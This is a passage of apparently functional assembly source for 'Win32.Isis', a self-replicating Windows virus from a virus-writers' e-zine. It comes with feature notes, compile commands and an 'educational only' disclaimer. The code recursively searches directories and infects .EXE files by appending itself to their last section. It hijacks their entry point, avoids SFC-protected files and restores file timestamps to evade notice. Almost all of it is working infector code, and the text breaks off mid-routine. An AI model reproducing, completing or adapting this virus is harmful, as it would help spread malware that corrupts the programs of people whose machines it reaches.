COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 -------------------------------- Win32.Isis )=- -=( ---------------------------------------------------------------------- )=- -=( 0 : Win32.Isis Features ---------------------------------------------- )=- Imports: Copies LoadLibraryA and GetProcAddress from hosts [it will only infect files that already Import both] Infects: PE files with an .EXE extension by expanding the last section, but without setting the write bit Strategy: With a fully recursive directory scanning engine that doesn't enter directories more than once per run Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files Saves Stamps: Yes MultiThreaded: No Polymorphism: None AntiAV / EPO: None SEH Abilities: None Payload: Displays a MessageBoxA -=( 1 : Win32.Isis Design Goals ------------------------------------------ )=- : To test an implementation of MASMs type checking on API and PROC calls. : To place all virus data into one structure that can be stack hosted, so the write bit does not need to be set in infected sections. : To serve as a test virus for a fast, recursive directory scanner, which does not visit the same directory twice, and uses only stack data. : To use Imports through GetProcAddress/LoadLibraryA, which are stolen in hosts that already import them. When it was finished, a friend's pet rat had died, her name was Isis, and so the virus was named in its memory. Besides it's a nice virus name too. -=( 2 : Win32.Isis Design Faults ----------------------------------------- )=- While it did achieve all of the design goals, its structure really needs a lot of work, especially to clean up the data tables. When infecting some PE files, headers and sections can be incorrectly calculated [rarely], so that would also need to be modified. Finally, a lot of the variables are badly named. -=( 3 : Win32.Isis Disclaimer -------------------------------------------- )=- THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM, YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY. COPYRIGHT Copyright on materials in this magazine and the information therein and their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated. RIGHTS AND LIMITATIONS You have the right to use, copy and distribute the material in this magazine free of charge, for all purposes allowed by your governing laws. You are expressly PROHIBITED from using the material contained herein for any purposes that would cause or would help promote the illegal use of the material. NO WARRANTY The information contained within this magazine are provided "as is". FEATHERED SERPENTS do not warranty the accuracy, adequacy, or completeness of given information, and expressly disclaims liability for errors or omissions contained therein. No implied, express, or statutory warranty, is given in conjunction with this magazine. LIMITATION OF LIABILITY In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any damages including and without limitation, direct or indirect, special, incidental, or consequential damages, losses, or expenses arising in connection with this magazine, or the use thereof. ADDITIONAL DISCLAIMER Computer viruses will spread of their own accord between computer systems, and across international boundaries. They are raw animals with no concern for the law, and for that reason your possession of them makes YOU responsible for the actions they carry out. The viruses provided in this magazine are for educational purposes ONLY. They are NOT intended for use in ANY WAY outside of strict, controlled laboratory conditions. If compiled and executed these viruses WILL land you in court(s). You will be held responsible for your actions. As source code these viruses are inert and covered by implied freedom of speech laws in some countries. In binary form these viruses are malicious weapons. FEATHERED SERPENTS do not condone the application of these viruses and will NOT be held LIABLE for any MISUSE. -=( 4 : Win32.Isis Compile Instructions ---------------------------------- )=- MASM 6.15 and LINK 6.00.8447 ml /c /Cp /coff /Fl /Zi Isis.asm link /debug /debugtype:cv /subsystem:windows Isis.obj -=( 5 : Win32.Isis ------------------------------------------------------- ) ` .386p ; 386 opcodes .model flat,stdcall ; Written for flat Win32 option casemap:none ; Use mixed case symbols include masmwinc.inc ; Win32 constant symbols includelib c:\masm32\lib\kernel32.lib ; First-run imported API ExitProcess PROTO :DWORD LoadLibraryA PROTO :DWORD GetProcAddress PROTO :DWORD, :DWORD Host SEGMENT 'CODE' push 0 call ExitProcess call LoadLibraryA call GetProcAddress Host ENDS ; ============================================================================= ; ( Virus Constants, Protos, and Macros ) ===================================== ; ============================================================================= FRUN_HOSTSRVA EQU 3000H FRUN_VIRUSRVA EQU 5000H FRUN_LOADLIBRARYA EQU 9060H FRUN_GETPROCADDRESS EQU 9064H GAME_OVER_MAX EQU 6 AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_TEMPORARY OR \ FILE_ATTRIBUTE_SPARSE_FILE OR FILE_ATTRIBUTE_REPARSE_POINT OR \ FILE_ATTRIBUTE_OFFLINE OR FILE_ATTRIBUTE_COMPRESSED OR \ FILE_ATTRIBUTE_ENCRYPTED DO_API MACRO PARAM:VARARG PUSHAD INVOKE PARAM MOV [ESP+1CH], EAX POPAD ENDM DO_API CompareStringM MACRO STRING1:REQ, STRING2:REQ DO_API tCompareStringA PTR [esi + VX.pCompareStringA], \ LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, \ STRING2, -1 ENDM CompareStringM CreateFileM MACRO FILENAME:REQ DO_API tCreateFileA PTR [esi + VX.pCreateFileA], FILENAME, \ GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, \ 0, 0 ENDM CreateFileM CreateFileMappingM MACRO HANDLE:REQ, SIZE:REQ DO_API tCreateFileMappingA PTR [esi + VX.pCreateFileMappingA], \ HANDLE, 0, PAGE_READWRITE, 0, SIZE, 0 ENDM CreateFileMappingM ListEntry MACRO POINTER: REQ, STRING:REQ, TYPE:VARARG p&POINTER DD 0 s&POINTER DB STRING, 0 TYPE ENDM ListEntry MapViewOfFileM MACRO HANDLE:REQ DO_API tMapViewOfFile PTR [esi + VX.pMapViewOfFile], HANDLE, \ FILE_MAP_ALL_ACCESS, NULL, NULL, NULL ENDM MapViewOfFileM VirusEntry PROTO Recurse PROTO VD:PTR VX, RL:PTR RX AccessFile PROTO VD:PTR VX, RD:PTR RX PrepareFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD ImportScan PROTO VD:PTR VX, MAP:DWORD, TABLE:DWORD FinishFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD AlignToVA PROTO VALUE:DWORD, ALIGNER:DWORD ConvertToVA PROTO MAP:DWORD, VALUE:DWORD ___SfcIsFileProtected PROTO A:DWORD, B:DWORD ___CheckSumMappedFile PROTO A:DWORD, B:DWORD, Y:DWORD, Z:DWORD ; ============================================================================= ; ( Virus Structures ) ======================================================== ; ============================================================================= VX STRUCT DWORD VirusEntryPoint DD FRUN_VIRUSRVA HostsEntryPoint DD FRUN_HOSTSRVA LoadLibraryRVA DD FRUN_LOADLIBRARYA GetProcAddressRVA DD FRUN_GETPROCADDRESS DeltaOffset DD 0 GameOverMan DD 0 FindSpecification DB '*', 0 ExecSpecification DB '.EXE', 0 SectionEntry DD 0 NewFileSize DD 0 NewSectionSize DD 0 ImportList DD VX.pCloseHandle, VX.ImportKernel32, NULL DD VX.pCompareStringA, VX.ImportKernel32, NULL DD VX.pCreateFileA, VX.ImportKernel32, NULL DD VX.pCreateFileMappingA, VX.ImportKernel32, NULL DD VX.pFindClose, VX.ImportKernel32, NULL DD VX.pFindFirstFileA, VX.ImportKernel32, NULL DD VX.pFindNextFileA, VX.ImportKernel32, NULL DD VX.pGetCurrentDirectoryA, VX.ImportKernel32, NULL DD VX.pGetFileAttributesA, VX.ImportKernel32, NULL DD VX.pGetLocalTime, VX.ImportKernel32, NULL DD VX.pMapViewOfFile, VX.ImportKernel32, NULL DD VX.pSetCurrentDirectoryA, VX.ImportKernel32, NULL DD VX.pSetFileAttributesA, VX.ImportKernel32, NULL DD VX.pSetFileTime, VX.ImportKernel32, NULL DD VX.pUnmapViewOfFile, VX.ImportKernel32, NULL DD VX.pMessageBoxA, VX.ImportUser32, NULL DD VX.pCheckSumMappedFile, VX.ImportImageHlp, AlternSum - WinMain DD VX.pSfcIsFileProtected, VX.ImportSfc, AlternSfc - WinMain DD NULL ImportKernel32 DB 'KERNEL32.DLL', 0 ListEntry CloseHandle, 'CloseHandle', tCloseHandle TYPEDEF PROTO :DWORD ListEntry CompareStringA, 'CompareStringA', tCompareStringA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD ListEntry CreateFileA, 'CreateFileA', tCreateFileA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD ListEntry CreateFileMappingA, 'CreateFileMappingA', tCreateFileMappingA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD ListEntry FindClose, 'FindClose', tFindClose TYPEDEF PROTO :DWORD ListEntry FindFirstFileA, 'FindFirstFileA', tFindFirstFileA TYPEDEF PROTO :DWORD,:DWORD ListEntry FindNextFileA, 'FindNextFileA', tFindNextFileA TYPEDEF PROTO :DWORD,:DWORD ListEntry GetCurrentDirectoryA, 'GetCurrentDirectoryA', tGetCurrentDirectoryA TYPEDEF PROTO :DWORD,:DWORD ListEntry GetFileAttributesA, 'GetFileAttributesA', tGetFileAttributesA TYPEDEF PROTO :DWORD ListEntry GetProcAddress, 'GetProcAddress', tGetProcAddress TYPEDEF PROTO :DWORD,:DWORD ListEntry GetLocalTime, 'GetLocalTime', tGetLocalTime TYPEDEF PROTO :DWORD ListEntry LoadLibraryA, 'LoadLibraryA', tLoadLibraryA TYPEDEF PROTO :DWORD ListEntry MapViewOfFile, 'MapViewOfFile', tMapViewOfFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD ListEntry SetCurrentDirectoryA, 'SetCurrentDirectoryA', tSetCurrentDirectoryA TYPEDEF PROTO :DWORD ListEntry SetFileAttributesA, 'SetFileAttributesA', tSetFileAttributesA TYPEDEF PROTO :DWORD,:DWORD ListEntry SetFileTime, 'SetFileTime', tSetFileTime TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD ListEntry UnmapViewOfFile, 'UnmapViewOfFile', tUnmapViewOfFile TYPEDEF PROTO :DWORD ImportUser32 DB 'USER32.DLL', 0 ListEntry MessageBoxA, 'MessageBoxA', tMessageBoxA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD ImportImageHlp DB 'IMAGEHLP.DLL', 0 ListEntry CheckSumMappedFile, 'CheckSumMappedFile', tCheckSumMappedFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD ImportSfc DB 'SFC.DLL', 0 ListEntry SfcIsFileProtected, 'SfcIsFileProtected', tSfcIsFileProtected TYPEDEF PROTO :DWORD,:DWORD VirusTitle DB 'Your Computer Flows With The Spyryt Of Win32.Isis', 0 ; Your Computer Flows With The Spyryt Of Win32.Isis VirusMessage DB 'Dedicated to our Isis and Horus: Maman vous aime!', 13, 10 ; Dedicated to our Isis and Horus: Maman vous aime! DB 13, 10 ; DB 'Create', 9, 'PROTO Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Create PROTO Mother:PTR Rat, Father:PTR Rat DB 9, '...', 13, 10 ; ... DB 'Rat', 9, 'STRUCT', 13, 10 ; Rat STRUCT DB 9, 'Colour', 9, 'DB 10 DUP (?)', 13, 10 ; Colour DB 10 DUP (?) DB 9, 'Length', 9, 'DD ?', 13, 10 ; Length DD ? DB 'Rat', 9, 'ENDS', 13, 10 ; Rat ENDS DB 9, '...', 13, 10 ; ... DB 'Isis', 9, 'Rat {''Drk', 9, 'Blonde'', 9}', 9, '; Mother', 13, 10 ; Isis Rat {'Drk Blonde', 9} ; Mother DB 'Horus', 9, 'Rat {''Ash', 9, 'Blonde'', 7}', 9, '; Father', 13, 10 ; Horus Rat {'Ash Blonde', 7} ; Father DB 9, '...', 13, 10 ; ... DB 9, 'INVOKE Create, ADDR Isis, ADDR Horus', 13, 10 ; INVOKE Create, ADDR Isis, ADDR Horus DB 9, '...', 13, 10 ; ... DB 'Create', 9, 'PROC', 9, 'USES', 9, 'EBX ECX EDX ESI EDI,', 13, 10 ; Create PROC USES EBX ECX EDX ESI EDI DB 9, 9, 9, 'Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Mother:PTR Rat, Father:PTR Rat DB 9, 9, 'LOCAL', 9, 'Daughter:Rat', 13, 10 ; LOCAL Daughter:Rat DB 13, 10 ; DB 9, 'mov esi,', 9, '[Mother', 9, ']', 13, 10 ; mov esi, [Mother] DB 9, 'mov esi,', 9, '[esi', 9, ']', 13, 10 ; mov esi, [esi] DB 9, 'mov ebx,', 9, '[esi + Rat.Length', 9, ']', 13, 10 ; mov ebx, [esi + Rat.Length] DB 9, 'mov edi,', 9, '[Father', 9, ']', 13, 10 ; mov edi, [Father] DB 9, 'mov edi,', 9, '[edi', 9, ']', 13, 10 ; mov edi, [edi] DB 9, 'add ebx,', 9, '[edi + Rat.Length', 9, ']', 13, 10 ; add ebx, [edi + Rat.Length] DB 9, 'shr ebx,', 9, 9, '1', 13, 10 ; shr ebx, 1 DB 9, 'mov [Daughter.Length],', 9, 'ebx', 13, 10 ; mov [Daughter.Length], ebx DB 9, '...', 13, 10 ; ... DB 13, 10, 0 ; ALIGN 4 VX ENDS RX STRUCT DWORD FindData WIN32_FIND_DATA {?} FindHandle DD ? NewDirectory DD MAX_PATH DUP (?) CurrentDirectory DD MAX_PATH DUP (?) LastRecurse DD ? ALIGN 4 RX ENDS ; ============================================================================= ; ( Virus EntryPoint ) ======================================================== ; ============================================================================= Virus SEGMENT 'CODE' WinMain: push NULL ; Updated to become HostsEntryPoint later VirusEntry PROC LOCAL VD:VX ; Save the registers for our host, calculate WinMain VA and Delta Offset pusha pushfd call @F @@: pop esi sub esi, 12h ; @B - WinMain mov eax, esi sub esi, offset WinMain push esi ; Copy our data section into the allocated stack area. Must be / DWORD. lea esi, [esi][Virus_Data] lea edi, [VD] mov ecx, Size VD / 4 cld rep movsd pop [VD.DeltaOffset ] ; ImageBase = WinMain VA - WinMain RVA. Convert critical API RVA to VA. sub eax, [VD.VirusEntryPoint ] push eax add eax, [VD.LoadLibraryRVA ] mov eax, [eax] mov [VD.pLoadLibraryA], eax pop eax push eax add eax, [VD.GetProcAddressRVA] mov eax, [eax] mov [VD.pGetProcAddress], eax pop eax ; Overwrite the NULL we stored on the stack with our Hosts EntryPoint VA add eax, [VD.HostsEntryPoint ] mov [ebp + DWORD], eax ; Parse our ImportList. Formatted as: API RVA, DLL RVA, ALTERNATE RVA. lea esi, [VD.ImportList] @@: lodsd ; RVA of API DWORD or eax, eax ; NULL if List End jz @F ; Stop if it's the end of this List lea edi, [eax][VD] ; EDI = Where to write final API VA lea ebx, [eax][VD][4] ; API Name String follows API DWORD lodsd ; DLL Name String RVA DO_API tLoadLibraryA PTR [VD.pLoadLibraryA ], ADDR [VD][eax] DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx stosd ; Save VA into API VA or eax, eax ; Check if successful lodsd ; Alternate Entry RVA jnz @B ; Loop back if all OK or eax, eax ; Check if Alternate doesn't exist jz WinExit ; Abort, because we need something add eax, offset WinMain add eax, [VD.DeltaOffset] mov [edi][-4], eax jmp @B ; Save Alternates VA and loop back @@: ; Initialize counter, recurse through directories for infectable files mov [VD.GameOverMan], NULL DO_API Recurse, ADDR [VD], NULL ; Check if the date is 21st of November which is when Isis passed away DO_API tGetLocalTime PTR [VD.pGetLocalTime], ADDR [VD] cmp WORD PTR [VD][2], 11 jne WinExit cmp WORD PTR [VD][6], 20 jne WinExit DO_API tMessageBoxA PTR [VD.pMessageBoxA], NULL, ADDR [VD.VirusMessage], ADDR [VD.VirusTitle], NULL WinExit: popfd popa ret VirusEntry ENDP ; ============================================================================= ; ( Directory/File Recursion ) ================================================ ; ============================================================================= Recurse PROC VD:Ptr VX, RL:Ptr RX LOCAL RD:RX ; Search for the first entry in our current directory mov esi, [VD] mov eax, [RL] mov [RD.LastRecurse], eax DO_API tFindFirstFileA PTR [esi][VX.pFindFirstFileA], ADDR [esi][VX.FindSpecification], ADDR [RD.FindData] mov [RD.FindHandle], eax cmp eax, INVALID_HANDLE_VALUE je RecurseExit RecurseOkay: ; Don't touch files or directories with these strange attributes set test dword ptr [RD.FindData.FileAttributes], AVOIDED_FILES jnz RecurseNext ; Split between file / directory routines test dword ptr [RD.FindData.FileAttributes], FILE_ATTRIBUTE_DIRECTORY jnz RecurseDirs ; Locate end of file name lea edi, [RD.FindData.FileName ] xor eax, eax mov ecx, MAX_PATH repnz scasb jnz RecurseNext sub edi, 5 ; Compare extension with .EXE lea eax, [esi][VX.ExecSpecification] CompareStringM eax, edi cmp eax, 2 jne RecurseNext ; Check if it's under SFC protection or if it's too big for us to handle DO_API tSfcIsFileProtected PTR [esi][VX.pSfcIsFileProtected], NULL, ADDR [RD.FindData.FileName] or eax, eax jnz @F cmp [RD.FindData.FileSizeHigh], 0 jne @F DO_API AccessFile, [VD], ADDR [RD] @@: jmp RecurseNext RecurseDirs: ; Don't recurse if we've recursed enough. Save the current directory and ; change to the new one and save its full directory name as well. cmp [esi][VX.GameOverMan], GAME_OVER_MAX je RecurseNext DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.CurrentDirectory ] cmp eax, NULL je RecurseNext DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.FindData.FileName] cmp eax, NULL je RecurseNext DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.NewDirectory ] cmp eax, NULL je RecurseNext ; Loop through each Recurse stack comparing New to Currents lea ebx, [RD.NewDirectory ] lea edi, [RD] @@: lea ecx, [edi][RX.CurrentDirectory] CompareStringM ecx, ebx cmp eax, 2 je RecurseMatch mov edi, [edi][RX.LastRecurse] or edi, edi jnz @B inc [esi][VX.GameOverMan ] DO_API Recurse, [VD], ADDR [RD] dec [esi][VX.GameOverMan ] RecurseMatch: DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.CurrentDirectory] RecurseNext: ; Abort if we've recursed and infected enough cmp [esi][VX.GameOverMan], GAME_OVER_MAX je RecurseCleanup ; Continue the search for files / directories DO_API tFindNextFileA PTR [esi][VX.pFindNextFileA], [RD.FindHandle], ADDR [RD.FindData ] or eax, eax jne RecurseOkay RecurseCleanup: ; Close our search handle and exit DO_API tFindClose PTR [esi][VX.pFindClose], [RD.FindHandle] RecurseExit: ret Recurse ENDP ; ============================================================================= ; ( File Access Moderator ) =================================================== ; ============================================================================= AccessFile PROC VD:PTR VX, RD:PTR RX ; Remove attributes only if necessary mov esi, [VD] mov edi, [RD] test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM jz @F DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], FILE_ATTRIBUTE_NORMAL or eax, eax jz AccessExit @@: ; Open the file fully, saving each handle on the stack as we go CreateFileM ADDR [edi][RX.FindData.FileName] cmp eax, INVALID_HANDLE_VALUE je AccessAttributes push eax push eax CreateFileMappingM eax, 0 or eax, eax jz AccessCloseFile push eax MapViewOfFileM eax cmp eax, INVALID_HANDLE_VALUE jz AccessCloseMap push eax ; Prepare the file for infection by making sure headers are correct, ; working out how much space we will add to the file sections, etc DO_API PrepareFile, [VD], [RD], eax or eax, eax jz AccessCloseView ; Close the file and reopen it bigger to fit the virus inside pop eax DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax pop eax DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax pop eax push eax CreateFileMappingM eax, [esi][VX.NewFileSize] or eax, eax jz AccessCloseFile push eax MapViewOfFileM eax cmp eax, INVALID_HANDLE_VALUE jz AccessCloseMap push eax ; Finish up infecting the file and increment infection counter DO_API FinishFile, [VD], [RD], eax or eax, eax jz AccessCloseView inc [esi][VX.GameOverMan ] AccessCloseView: pop eax DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax AccessCloseMap: pop eax DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax AccessCloseFile: ; Reset file stamps so that we don't look too suspicious pop ebx DO_API tSetFileTime PTR [esi][VX.pSetFileTime], ebx, ADDR [edi][RX.FindData.LastWriteTime], ADDR [edi][RX.FindData.LastAccessTime], ADDR [edi][RX.FindData.CreationTime] pop eax DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax AccessAttributes: ; Restore attributes only if they were changed test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR \ FILE_ATTRIBUTE_SYSTEM jz AccessExit DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], [edi][RX.FindData.FileAttributes] AccessExit: ret AccessFile ENDP ; ============================================================================= ; ( Infection Preparation ) =================================================== ; ============================================================================= PrepareFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD ; Is the file already infected? mov esi, [VD ] mov edi, [MAP] cmp [edi][IMAGE_DOS_HEADER.e_csum], -1 je PrepareFail cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE jne PrepareFail ; Are the standard COFF headers okay? add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE jne PrepareFail cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386 jne PrepareFail cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER jne PrepareFail cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC jne PrepareFail cmp [edi][PE.SizeOfHeaders], 0 je PrepareFail ; Do some checks on the Import Table cmp [edi][PE.NumberOfRvaAndSizes], 2 jb PrepareFail cmp [edi][PE.DataDirectory.Import.Sizes], 0 je PrepareFail DO_API ConvertToVA, [MAP], [edi][PE.DataDirectory.Import.RVA] mov edx, eax or edx, edx jz PrepareFail ; Loop through each IMPORT Entry looking for a 'Kernel32.DLL' Name. For ; each found we ImportScan for our LoadLibraryA and GetProcAddress. We ; can get both from the one IMPORT Entry, or if only one is found, then ; we continue scanning incase there are multiple 'Kernel32.DLL', IMPORT ; entries with procedures split across them. mov ecx, [edi][PE.DataDirectory.Import.Sizes] mov [esi][VX.LoadLibraryRVA], 0 mov [esi][VX.GetProcAddressRVA], 0 @@: DO_API ConvertToVA, [MAP], [edx][IMPORT.Names ] or eax, eax jz PrepareFail lea ebx, [esi][VX.ImportKernel32] CompareStringM eax, ebx cmp eax, 2 jne PrepareNext DO_API ImportScan, [VD], [MAP], edx or eax, eax jnz @F PrepareNext: add edx, SIZE IMPORT sub ecx, SIZE IMPORT jz PrepareFail cmp ecx, [edi][PE.DataDirectory.Import.Sizes] jae PrepareFail jmp @B @@: ; Scan through the SECTION Table and find the last 'Physical' SECTION. We ; save its RVA because its VA won't be valid when FinalFile needs it. movzx ecx, [edi][PE.NumberOfSections ] add di, [edi][PE.SizeOfOptionalHeader ] adc edi, PE.Magic xor eax, eax PrepareSection: ; Also check there are no 'bad' entries cmp [edi][SECTION.VirtualSize], 0 je PrepareFail cmp [edi][SECTION.SizeOfRawData], 0 je PrepareFail cmp [edi][SECTION.PointerToRawData], eax jb @F mov eax, [edi][SECTION.PointerToRawData] mov edx, edi @@: add edi, SIZE SECTION loop PrepareSection mov edi, edx sub edx, [MAP] mov [esi][VX.SectionEntry], edx ; Calculate how big the SECTION will be to completely engulf the rest of ; the file [including DEBUG information] and save as VirusEntryPoint mov edx, [RD] mov eax, [edx][RX.FindData.FileSizeLow ] sub eax, [edi][SECTION.PointerToRawData] push eax add eax, [edi][SECTION.VirtualAddress ] mov [esi][VX.VirusEntryPoint], eax pop eax ; Calculate the SECTION + Slack + Virus + Padding Size mov edx, [MAP] add edx, [edx][IMAGE_DOS_HEADER.e_lfanew ] add eax, Virus_Size DO_API AlignToVA, eax, [edx][PE.FileAlignment] mov [esi + VX.NewSectionSize], eax add eax, [edi][SECTION.PointerToRawData ] jc PrepareFail mov [esi][VX.NewFileSize], eax mov eax, -1 jmp PrepareExit PrepareFail: xor eax, eax PrepareExit: ret PrepareFile ENDP ; ============================================================================= ; ( Infection Import Scanner ) ================================================ ; ============================================================================= ImportScan PROC VD:PTR VX, MAP:DWORD, TABLE:DWORD ; Locate the correct Thunk List which is swapped between MASM and TASM mov esi, [VD] mov edi, [TABLE] mov eax, [edi][IMPORT.OriginalFirstThunk] or eax, eax jnz @F mov eax, [edi][IMPORT.FirstThunk ] @@: DO_API ConvertToVA, [MAP], eax or eax, eax jz ImportExit mov edi, eax xor ecx, ecx ; Check if entry is the last in the table. If not, skip it if it's an ; Ordinal entry, or load up where it points to and skip the Hint. ImportLoop: mov eax, [edi] or eax, eax jz ImportFinish js ImportNext DO_API ConvertToVA, [MAP], eax or eax, eax jz ImportFail inc eax inc eax ; Compare the string to our GetProcAddress string. If it matches, we ; move onto the 'save' section which is pointed to by EDX. We saved ; EAX for our next compare. push eax lea edx, [esi][VX.GetProcAddressRVA ] CompareStringM ADDR [esi][VX.sGetProcAddress ], eax cmp eax, 2 pop eax je @F ; Compare the string to our LoadLibraryA string. If it matches, we ; move onto the 'save' section which is pointed to by EDX. We didn't ; save EAX, it's not needed anymore. lea edx, [esi][VX.LoadLibraryRVA ] CompareStringM ADDR [esi][VX.sLoadLibraryA ], eax cmp eax, 2 jne ImportNext @@: ; FirstThunk is the one that will be overwritten with the VAs of API on ; execution, wether linked with MASM or TASM. Save its RVA for later. mov ebx, [TABLE ] mov ebx, [ebx][IMPORT.FirstThunk] lea ebx, [ebx + ecx * 4 ] mov [edx], ebx ImportNext: inc ecx add edi, 4 jmp ImportLoop ImportFinish: ; Failed by default, meaning continue searching for more Kernel32.DLL ; Imports. If both API have been filled in, the loop routine that has ; called us can stop searching. mov eax, -1 cmp [esi][VX.LoadLibraryRVA], 0 je ImportFail cmp [esi][VX.GetProcAddressRVA], 0 jne ImportExit ImportFail: xor eax, eax ImportExit: ret ImportScan ENDP ; ============================================================================= ; ( Infection Finishing ) ===================================================== ; ============================================================================= FinishFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD ; Set our infection marker mov esi, [VD ] mov edi, [MAP] mov [edi][IMAGE_DOS_HEADER.e_csum], -1 ; ESI = VD, EDI = PE, EDX = SECTION mov edx, [esi][VX.SectionEntry ] lea edx, [edi][edx ] add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] push edi ; Write all new SECTION fields mov eax, [edx][SECTION.VirtualSize ] cmp eax, [edx][SECTION.SizeOfRawData ] ja @F mov eax, [edx][SECTION.SizeOfRawData ] @@: DO_API AlignToVA, eax, [edi][PE.SectionAlignment ] sub [edi][PE.SizeOfImage], eax DO_API AlignToVA, [esi][VX.NewSectionSize], [edi][PE.SectionAlignment] add [edi][PE.SizeOfImage], eax mov ebx, [esi][VX.NewSectionSize] mov [edx][SECTION.VirtualSize ], ebx mov [edx][SECTION.SizeOfRawData ], ebx or [edx][SECTION.Characteristics], IMAGE_SCN_MEM_READ ; Decide what SizeOfX SECTION we're in, subtract and update mov eax, [edx][SECTION.VirtualSize ] cmp eax, [edx][SECTION.SizeOfRawData ] ja @F mov eax, [edx][SECTION.SizeOfRawData ] @@: lea ecx, [edi][PE.SizeOfCode ] test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_CODE jnz @F lea ecx, [edi][PE.SizeOfInitializedData ] test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA jnz @F lea ecx, [edi][PE.SizeOfUninitializedData ] @@: DO_API AlignToVA, eax, [edi][PE.FileAlignment] sub [ecx], eax mov eax, [esi][VX.NewSectionSize ] add [ecx], eax ; Set the new EntryPoint and save the old one mov ebx, [esi][VX.VirusEntryPoint ] push ebx xchg [edi][PE.AddressOfEntryPoint], ebx mov [esi][VX.HostsEntryPoint], ebx pop ebx ; Write the code section of the virus DO_API ConvertToVA, [MAP], ebx push esi mov esi, [esi][VX.DeltaOffset] lea esi, [esi][WinMain ] mov edi, eax mov ecx, Virus_Code / 4 rep movsd pop esi ; Write the data section of the virus push esi mov ecx, Size VX / 4 rep movsd pop esi ; Do the checksums, one of which is pointing to a junk area pop ebx DO_API tCheckSumMappedFile PTR [esi][VX.pCheckSumMappedFile], [MAP], [esi][VX.NewFileSize], ADDR [esi][VX.SectionEntry], ADDR [ebx][PE.CheckSum] FinishExit: ret FinishFile ENDP ; ============================================================================= ; ( Align to Boundary ) ======================================================= ; ============================================================================= AlignToVA PROC VALUE:DWORD, ALIGNER:DWORD ; EDX:EAX = VALUE. Divide by ECX, subtract remainder and add ALIGNER. mov eax, [VALUE ] xor edx, edx mov ecx, [ALIGNER] div ecx or edx, edx mov eax, [VALUE ] jz AlignExit add eax, [ALIGNER] AlignExit: sub eax, edx ret AlignToVA ENDP ; ============================================================================= ; ( Convert RVA to VA ) ======================================================= ; ============================================================================= ConvertToVA PROC MAP:DWORD, VALUE:DWORD mov esi, [MAP ] mov edi, [VALUE] or edi, edi jz ConvertFail ; Locate start of SECTION in MAP, prepare for looping through them all add esi, [esi][IMAGE_DOS_HEADER.e_lfanew] movzx ecx, [esi][PE.NumberOfSections ] add si, [esi][PE.SizeOfOptionalHeader ] adc esi, PE.Magic ConvertLoop: ; Jump over this section entry if it starts above our RVA cmp [esi][SECTION.VirtualAddress], edi ja ConvertNext ; To find out where the section ends in the file, we need to check the ; SizeOfRawData and VirtualSize entries and use the biggest one. Know ; now that TASM and MASM swap the meanings of these entries. Bitches. mov eax, [esi][SECTION.SizeOfRawData ] cmp eax, [esi][SECTION.VirtualSize ] ja @F mov eax, [esi][SECTION.VirtualSize ] @@: add eax, [esi][SECTION.VirtualAddress] ; Jump over this section entry if it ends below our RVA cmp eax, edi jbe ConvertNext ; Fail if this entry doesn't exist in the file [could be memory only] cmp [esi][SECTION.PointerToRawData], 0 je ConvertFail ; Convert raw pointer to VA and add our value's pointers offset to it mov eax, [MAP] add eax, [esi][SECTION.PointerToRawData] sub edi, [esi][SECTION.VirtualAddress ] add eax, edi jmp ConvertExit ConvertNext: add esi, SIZE 